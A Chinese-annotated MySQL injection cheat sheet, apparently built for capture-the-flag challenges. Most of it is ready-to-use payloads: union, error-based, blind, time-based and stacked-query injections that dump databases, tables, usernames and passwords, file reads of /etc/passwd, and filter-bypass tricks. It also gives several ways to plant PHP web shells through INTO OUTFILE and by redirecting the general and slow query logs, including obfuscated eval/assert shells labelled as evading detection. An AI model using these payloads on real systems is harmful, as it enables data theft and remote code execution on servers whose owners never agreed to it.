show databases; #显示数据库
use db_name;    #使用数据库
show tables；   #显示数据表
describe table; #显示表结构
show columns from table_name; #显示表中个字段信息 
show create table 表名; #显示表创建的过程
status; #列出当前mysql的相关状态信息
drop database 数据库名; #删除数据库
delete from table_name; 和 truncate table table_name; #清空数据表
drop table table_name; #删除数据表
mysql -uroot -proot #数据库连接
exit #数据库退出
select database(); #获取当前数据库 
select * from information_schema.routines #查看存储过程和函数的信息

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

id=-1' union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())#
user()		--获取数据库用户名
database()	--获取数据库名
version()	--获取数据库版本信息
concat_ws(separator,str1,str2,...)	--含有分隔符地连接字符串 
--里边这的separator分隔符，用 char() 函数把 空格:空格 的ASCII码输出
--其它信息
@@datadir				--数据库路径
@@version_compile_os	--操作系统版本

id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数，得到所有表

id=-1' union select 1,2,column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1#

union select 1,2,group_concat(name,password) from table#
--用字段名从表中取数据
group_concat(str1,str2,...)	--连接一个组的所有字符串

作用：使用不同的xml标记匹配和替换xml块的函数。 
函数语法：updatexml(XML_document, XPath_string, new_value); 
适用版本: 5.1.5+ 
payload: and updatexml(1,concat(0x7e,(select user()),0x7e),1) 前后添加 ~ 使其不符合 xpath 格式从而报错 

作用：从目标XML中返回包含所查询值的字符串 
函数语法：EXTRACTVALUE (XML_document, XPath_string); 
适用版本：5.1.5+ 利用原理与updatexml函数相同 
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

-- 爆库
id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,database(),0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-- 爆表
id=1' and(select 1 from (select count(*),(concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'|',floor(rand(0)*2)))x from information_schema.tables group by x)a)%23
-- 爆字段
id=1' and(select 1 from (select count(*),(concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'|',floor(rand(0)*2)))x from information_schema.tables group by x)a)%23
-- 爆数据
id=1' and(select 1 from (select count(*),(concat((select concat(username,'|',password,'|',id) from users limit 0,1),'|',floor(rand(0)*2)))x from information_schema.tables group by x)a)%23
id=1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

GeometryCollection：
id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon()：
id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint()：
id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()：
id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()：
id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon() ：
id=1 AND multipolygon((select * from(select * from(select user())a)b))

mysql>select * from(select * from users a join (select * from users)b)c;
mysql>select * from(select * from users a join (select * from users)b using(username))c;
mysql>select * from(select * from users a join (select * from users)b
using(username,password))c

mysql>select gtid_subset(user(),1);
mysql>select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1);

handler table_name open as hd;#指定数据表进行载入并将返回句柄
handler hd read first;#读取指定表/句柄的首行数据
handler hd read next;#读取指定表/句柄的下一行数据
handler hd close;#关闭句柄

drop table ctfshow_user;
create table ctfshow_user (`username` varchar(100),`pass` varchar(100));
insert ctfshow_user (`username`,`pass`)value(1,2);

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;
#拆分开来如下：
Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');
EXECUTE stmt;
deallocate prepare stmt; #可以不加
#concat(char(115,101,108,101,99,116)也可以代替select

?order=(select 1 regexp if(1=1,1,0x00)) #正常
?order=(select 1 regexp if(1=2,1,0x00)) #错误

?order=updatexml(1,if(1=1,1,user()),1)  #正确
?order=updatexml(1,if(1=2,1,user()),1)  #错误

?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

SELECT * from user LIMIT 1,1 union select * from user

procesure analyse(max_elements,max_memory)
#max_elements
#指定每列非重复值的最大值，当超过这个值的时候，MySQL不会推荐enum类型。
#max_memory
#analyse()为每列找出所有非重复值所采用的最大内存大小。

procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

-- 时间
sleep
benchmark #可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。
   
select sleep(5*(1=1)) #5s
select sleep(5*(1=2)) #0s
select benchmark(1e7,sha1('kradress')); # 2.24s  
select benchmark(1e7*(1=1),sha1('kradress')) #2.57s
select benchmark(1e7*(1=2),sha1('kradress')) #0s
    
-- 条件
if
case
--  表示如果表达式为真则返回exp1，否则返回exp2
case when (condition) then exp1 eles exp2 end;
-- 如果 (x=xx)则返回exp1,否则返回exp2
case x when xx then exp1 eles exp2 end;
case({condition})when(0)then(cot(0))else(1)end#

-- 可以代替sleep
select if(1=1,(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.schemata C),0);

SELECT if(1=1,(select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')),0)
select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'

-- if
select if((1=2),exp(810),0);
select if((1=2),cot(0),0);
select if((1=2),pow(999,99999999),0);
-- 过滤 if
select exp(709+(1=1)) # 报错
select exp(709+(1=2)) # 正常
select cot(1-(1=1)) # 报错
select cot(1-(1=2)) #正常
select pow(1+(1=1),9999999) #报错
select pow(1+(1=2),9999999) #正常

-- 这里 limit 1,1因为第一行是 select 1,2,3的结果
select `2` from (select 1,2,3 union select * from users limit 1,1)a
select a.2 from (select 1,2,3 union select * from users limit 1,1)a
select b from (select 1,2 as b,3 union select * from users limit 1,1)a

asicc('~')=126
ascii('!')=33 
# '<' 用 '~' , '>' 用 '!'
-- 返回 1
select (select 0, '~', '~')<(select * from users where user='admin' limit 1);
-- 返回 0 , 可知第一列字段名为1
select (select 1, '~', '~')<(select * from users where user='admin' limit 1);
--返回 1
select (select 1, 'admim~', '~')<(select * from users where user='admin' limit 1);
-- 返回0
select (select 1, 'admin~', '~')<(select * from users where user='admin' limit 1);
--返回1
select (select 1, 'admin', '0~')<(select * from users where user='admin' limit 1);
--返回0
select (select 1, 'admin', '1~')<(select * from users where user='admin' limit 1);
--以此类推

-- 移除字符串
trim(leading 'a' from 'abcd')='bcd'
trim(leading 'ab' from 'abcd')='cd'
trim(leading 'ac' from 'abcd')='abcd'
--截取判断相等
-- '.'不在字段flag中
trim(leading x from flag)=trim(leading '.' from flag)
如果返回false则flag包含x

-- 'abcdef'
select insert('abcdef', 1, 0, '') #返回'abcdef'本身
-- 'a'
select insert(insert('abcdef',1,0,''),2,99999,'')
-- 'b'
select insert(insert('abcdef',2,0,''),2,99999,'')
-- 第x位的字符
select insert(insert('abcdef',x,0,''),2,99999,'')

select name from table where name like '陈__';

select name from table where name like '陈%';
select name from table where name like '%宏%';

-- 部分匹配要给出字符串的一部分,不然可能匹配不成功
regexp('flag{')
-- 正则匹配
regexp('^fla.*')
-- 区分大小写
select binary database() regexp('^FLa') # 0

2 > 1   #真
0 > 1   #假
#以下用between and 实现判断真假
    2 between 1 and 3   #真
    2 between 2 and 2   #真
    2 between 3 and 1   #假
    3 betwwen 1 and 2   #假

select 'a' in ('A','B'); #真
select binary 'a' in ('A','B'); #假

-- chr(97)='a' 
and --(&&)
-- select 1 and 非(0) 返回 1
select 1 and ascii('a') - 96 # 1
select 1 and ascii('a') - 97 # 0
select 1 and ascii('a') - 98 # 1
or --(||)
select 0 or ascii('a') - 96 # 1
select 0 or ascii('a') - 97 # 0
select 0 or ascii('a') - 98 # 1

select 1^1^1; # 1
select 1^0^1; # 0
select 1^(ascii('a') - 96)^1; # 1
select 1^(ascii('a') - 97)^1; # 0
-- 过滤注释
select * where id = '1'^(ascii('a') - 97)^'1' # 1
select * where id = '1'^(ascii('a') - 96)^'1' # 0

select * from student where student_id = '2019122001' and ascii(substr(name,1,1))>0; # 这里name直接写，而不需要写成select name from student

mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

show variables like "secure_file%";

select load_file('/flag');
select convert(load_file("/etc/passwd") using utf8);

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '/tmp/1.php'%23
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '/tmp/1.php'%23

?id=1 into outfile '/tmp/1.php' fields terminated by '<?php phpinfo();?>'%23
?id=1 into outfile '/tmp/1.php' lines terminated by '<?php phpinfo();?>'%23

show variables like '%general%';	--查看配置，日志是否开启，和mysql默认log地址(记下原地址方便恢复)
set global general_log = on;		--开启日志监测，默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php';		--设置日志路径
select '<?php phpinfo();?>';		--执行查询，写入shell
--结束后，恢复日志路径，关闭日志监测
--SQL查询免杀shell
select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
---------------
--慢查询写shell
---------------
为什么要用慢查询写呢？上边说过开启日志监测后文件会很大，网站访问量大的话我们写的shell会出错
show variables like '%slow_query_log%';		--查看慢查询信息
set global slow_query_log=1;				--启用慢查询日志(默认禁用)
set global slow_query_log_file='/var/www/html/info.php';	--修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11);				--写shell

+
%09
%0a  
%a0
%0c
%0b
/**/

offset #替换limit 后面的逗号
substr(string,1,1) #用substr(string from 1 for 1)替换

union select 1,2,3
union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)#

1' and '1'='1
1' and 1-(ascii('a')-97)-'1

-- 查询所有的库
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;
-- 查询指定库的表（若无则说明此表从未被访问）
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name;
-- 统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by
table_schema,table_name order by io desc;
-- 查看所有正在连接的用户详细信息
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
-- 查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary;

select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();

> 
<
between a and b
in
like
rlike
regexp
and
or
case
xor

-1' union select to_base64(username),hex(password) from ctfshow_user2 --+

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
# "a1b2c3d4e5" => "a!b@c3d4e5"